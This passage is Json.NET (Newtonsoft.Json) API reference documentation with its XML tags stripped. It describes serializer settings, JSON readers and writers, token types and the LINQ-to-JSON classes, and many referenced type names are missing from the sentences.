write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the list changes or an item in the list changes. - - - - - Occurs before an item is added to the collection. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Occurs when a property value is changing. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Represents a JSON property. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a view of a . - - - - - Initializes a new instance of the class. - - The name. - - - - When overridden in a derived class, returns whether resetting an object changes its value. - - - true if resetting the component changes its value; otherwise, false. - - The component to test for reset capability. - - - - When overridden in a derived class, gets the current value of the property on a component. - - - The value of a property for a given component. - - The component with the property for which to retrieve the value. - - - - When overridden in a derived class, resets the value for this property of the component to the default value. - - The component with the property value that is to be reset to the default value. - - - - When overridden in a derived class, sets the value of the component to a different value. - - The component with the property value that is to be set. - The new value. - - - - When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. - - - true if the property should be persisted; otherwise, false. - - The component with the property to be examined for persistence. - - - - When overridden in a derived class, gets the type of the component this property is bound to. - - - A that represents the type of component this property is bound to. - When the or - - methods are invoked, the object specified might be an instance of this type. - - - - - When overridden in a derived class, gets a value indicating whether this property is read-only. - - - true if the property is read-only; otherwise, false. - - - - - When overridden in a derived class, gets the type of the property. - - - A that represents the type of the property. - - - - - Gets the hash code for the name of the member. - - - - The hash code for the name of the member. - - - - - Represents a raw JSON string. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion 